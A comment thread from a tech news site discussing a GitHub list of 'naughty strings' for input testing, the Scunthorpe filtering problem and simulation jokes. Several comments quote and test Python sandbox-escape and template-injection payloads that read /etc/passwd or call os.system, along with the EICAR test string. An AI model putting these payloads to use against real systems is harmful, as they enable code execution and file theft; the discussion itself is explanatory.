News for hackers. Stuff that matters.
Re:Null by xyst on Thursday January 14, 2021 @12:43AM (#25772567)
People like that is the reason why this list was created

https://github.com/minimaxir/big-list-of-naughty-strings/blo...

My personal favorite is this one though

  "If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you.",
Re:Null by m463 on Thursday January 14, 2021 @04:12AM (#25773987)
what a great github repo.

I enjoyed:

    #   Strings that may occur on IRC clients that make security products freak out
    DCC SEND STARTKEYLOGGER 0 0 0
and everything under:

    # Innocuous strings which may be blocked by profanity filters (https://en.wikipedia.org/wiki/Scunthorpe_problem)
Re:Null by Cyykratahk on Thursday January 14, 2021 @05:44AM (#25774819)
Found some GitHub issues [1] with something similar: an enterprise firewall blocking a repo because it contained the string "arglebargleglopglyf" [2] in some tests.

The text was flagged as malicious because of its presence in the repo github.com/wireghoul/htshells [3]. However, the whole point of the word in the htshells repo is that it's an invalid command that breaks Apache, so it could have been almost any random string.

[1] https://github.com/search?q=arglebargleglopglyf&type=issues

[2] https://mume.org/help/arglebargle

[3] https://github.com/wireghoul/htshells/blob/master/dos/apache...

Re:Null by EdwardDiego on Thursday January 14, 2021 @06:41AM (#25775202)
This one from link 3 caught my eye:

    "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
Looks to be a Python 2 specific way of trying to read a file in a sneaky way. I say Python 2 specific because Python 3 strings only have 2 supertypes now, so __mro__[2] is out of range, but __mro__[1] is 'object', and I'm guessing they were going for a file like class, but right now object.__subclasses__()[40] points at "mappingproxy".

And the only subclasses of object I can find with a read classmethod are these:

    109 <class 'codecs.StreamReaderWriter'>
    110 <class 'codecs.StreamRecoder'>
Found with:

    for i, x in enumerate("".__class__.__mro__[1].__subclasses__()):
        if "read" in dir(x):
            print(str(i) + " " + str(x))
Re:Null by masklinn on Thursday January 14, 2021 @09:28AM (#25776643)
FWIW it’s looking for the `file` class which does not exist anymore an was a direct subclass of object: `open` now creates a TextIOWrapper<BufferedReader<TextIO>>.

You can still reach TextIO though _IOBase, in python 3.9 it’s object’s 101st subclass, then 0, then 0.

In 3.8 it’s 99, 0, 0.

Re:Null by tryauuum on Thursday January 14, 2021 @12:23PM (#25779160)
This is pretty fascinating!

It's a shame subclass numbers do change from version to version, so there is no "one-size-catch-all" injection string.

Someone in this thread posted a solution with next() that iterates over subclasses to find the correct one. But an injection with spaces won't work as well when injected in jinja2 (something that original injection accomplishes in python2).

Re:Null by masklinn on Thursday January 14, 2021 @01:32PM (#25780179)
> It's a shame subclass numbers do change from version to version, so there is no "one-size-catch-all" injection string.

Yeah going through subclasses is not trivial, but that's the way exploits work really. And usually once you find a target the version is going to be reliable.

An other big injection sources in Python is when modules are available in the evaluation context, that's way more risky than exposing classes, functions, and objects due to Python's transitive import nature: anything you import becomes an attribute of your module, meaning if your module is visible so are its module. And very often there's a point at which `sys` is imported somewhere within transitive reach. Once `sys` is available they're out of the interpreter.

Re:Null by m463 on Thursday January 14, 2021 @07:50AM (#25775735)

    $ python2
    >>> "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
    'root:x:0:0:root:/root:/bin/bash\n ...
yep, there it is.
Re:Null by vient on Thursday January 14, 2021 @09:42AM (#25776823)
Python 3 `system` example

  next(sub for c in "".__class__.__mro__ for sub in c.__subclasses__() if '__init__' in dir(sub) and '__globals__' in dir(sub.__init__) and 'system' in sub.__init__.__globals__).__init__.__globals__['system']('cat /etc/passwd')
Re:Null by monsieurbanana on Thursday January 14, 2021 @05:23AM (#25774643)
I'm surprised about Scunthorpe, if any name with a profanity substring would trigger the filter I'd have thought this issue would be more common than Scunthorpe.
Re:Null by brazzy on Thursday January 14, 2021 @06:33AM (#25775140)
Yeah, such a filter would be a mbuttive problem due to all the mimanures.
Re:Null by snakeboy on Thursday January 14, 2021 @07:55AM (#25775766)
This could exists a fun puzzle genre, replacing substforbidds of words with synonyms. Perhaps with muloanle dened itefractionns. Could even have replacementb agrosb lade boundaries.
Re:Null by raphlinus on Thursday January 14, 2021 @10:38AM (#25777599)
My favorite of these was the discussion section of a popular lefty blog where any mention of "socialism" or "socialist" was routed to moderation and had to be unblocked manually. Not because of profanity, but a particularly pernicious spam problem at the time.
Re:Null by anonymfus on Thursday January 14, 2021 @12:05PM (#25778915)
I am surprised that the EICAR test string is not here:

    X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
https://en.wikipedia.org/wiki/EICAR_test_file
Re:Null by tryauuum on Thursday January 14, 2021 @12:34PM (#25779320)
From README —

Likewise, please do not send pull requests which compromise manual usability of the file. This includes the [EICAR test string](https://en.wikipedia.org/wiki/EICAR_test_file), which can cause the file to be flagged by antivirus scanners, and files which alter the encoding of `blns.txt`. Also, do not send a null character (U+0000) string, as it [changes the file format on GitHub to binary](http://stackoverflow.com/a/19723302) and renders it unreadable in pull requests. Finally, when adding or removing a string please update all files when you perform a pull request.

Re:Null by Turing_Machine on Thursday January 14, 2021 @01:03PM (#25779725)
+++ATH0

That one normally only worked reliably if you could figure out some way of introducing a short delay between the +++ and the ATH. There may have been some crap modems that didn't require the delay, but that wasn't the spec.

(the 0 was not necessary, btw, as 0 is the default for the ATH command)

Re:Null by 0xdeadbeefbabe on Thursday January 14, 2021 @11:01AM (#25777939)
Why is "nop" your personal favorite? I don't get it.
Re:Null by emilsedgh on Thursday January 14, 2021 @06:21AM (#25775048)
I have to confess this freaked me out well played!
Re:Null by scoutt on Thursday January 14, 2021 @05:21AM (#25774630)
I can get why testing for "Jimmy Clitheroe" and "Horniman Museum", but can't make a reason for "Linda Callahan".
Re:Null by m463 on Thursday January 14, 2021 @06:32AM (#25775133)
In February 2006, Linda Callahan was initially prevented from registering her name with Yahoo! as an e-mail address as it contained the substring Allah. Yahoo! later reversed the ban.

https://en.wikipedia.org/wiki/Scunthorpe_problem

Re:Null by slim on Thursday January 14, 2021 @07:16AM (#25775500)
that was unexpected. but I guess I should have expected it given how much islam is iconoclastic. it's probably muslims protesting the use of the name of allah in email addresses that caused it (alternate explanation: the word was raising too much false positives in Xkeyscore)
Re:Null by uncomputation on Thursday January 14, 2021 @12:24PM (#25779181)
1. That’s not what iconoclastic means. If you actually care about iconoclasm in Islam, the Saudi government has unfortunately destroyed almost 90% of Muslim holy sites without a word from other countries.

2. The Second Commandment Christians follow is “Thou shalt not take the name of the Lord thy God in vain” and I can tell you a lot of Christians follow that.

3. You have it backwards. It’s not Muslims’ fear of the name of God, it’s Yahoo’s fear of literally just the Arabic word for “God.”

Re:Null by kevin_thibedeau on Thursday January 14, 2021 @01:10PM (#25779823)
It's their fear of people constructing offensive names (<deity>-sucks, etc.) that will spark another Charlie Hebdo incident.
Re:Null by will0 on Thursday January 14, 2021 @05:30AM (#25774708)
Perhaps it's 'allah'?
Re:Null by swilliamsio on Thursday January 14, 2021 @08:25AM (#25776006)
Any idea why "Lightwater Country Park" is on the list?
Re:Null by matsemann on Thursday January 14, 2021 @08:32AM (#25776063)
Twat, maybe?
Re:Null by jimmygraham on Thursday January 14, 2021 @10:14AM (#25777235)
"twat" substring probably.
Re:Null by Buildstarted on Thursday January 14, 2021 @02:46AM (#25773393)
Most of the things in this list I can see what they're testing for but your favorite stumps me. Can you give me a hint? Thanks.
Re:Null by lyrrad on Thursday January 14, 2021 @02:50AM (#25773431)
I assume it's a joke to test if reality is a simulation or a dream.
Re:Null by m463 on Thursday January 14, 2021 @06:38AM (#25775183)
When Elon Musk was talking about reality vs simulation, I couldn't help but think he's onto something

If you were going to play a simulation game, you would not be a normal participant. You would not play a normal person, you would play the successful guy at the top launching spaceships and making money.

So - the chances of Elon Musk being in a simulation are very high compared to normal people.

Re:Null by AnIdiotOnTheNet on Thursday January 14, 2021 @10:24AM (#25777388)
I had the exact opposite take, that him talking about that is (further) evidence he's a bit off his rocker. Not that being off his rocker is necessarily a problem. In fact, it might be the only reason he's doing interesting stuff with his wealth instead of just trying to turn it into more wealth for the sake of a high score.
Re:Null by fidelramos on Thursday January 14, 2021 @09:34AM (#25776720)
The entities running the simulation knew you would think like that, which is why they put Elon Musk there so the simulated you thinks "nah, if I were simulated my life would be awesome".
Re:Null by nkrisc on Thursday January 14, 2021 @10:47AM (#25777743)
But I'm not Elon Musk, and I'm not super rich and successful, so therefore I am real and he is as well and not a simulation. I don't know what things are like your simulation, however.
Re:Null by sumtechguy on Thursday January 14, 2021 @11:30AM (#25778314)
His mistake in his assumption is all games are the same. Sometimes I play a game that is kind of 'boring' and relaxing like a bit of solitaire. Other times I play a fragfest with 15 other people looking to take my head off. Sometimes I intend to play something exciting and end up playing max/min stats. Sometimes I just suck at the game...
Re:Null by pyhtel on Thursday January 14, 2021 @09:03AM (#25776330)
I would assume most simulations would be more academic/business related, like how we have tools that simulate a wind tunnel, rather than for entertainment purposes
Re:Null by Buildstarted on Thursday January 14, 2021 @03:02AM (#25773500)
That makes complete sense and it went right over my head. Thanks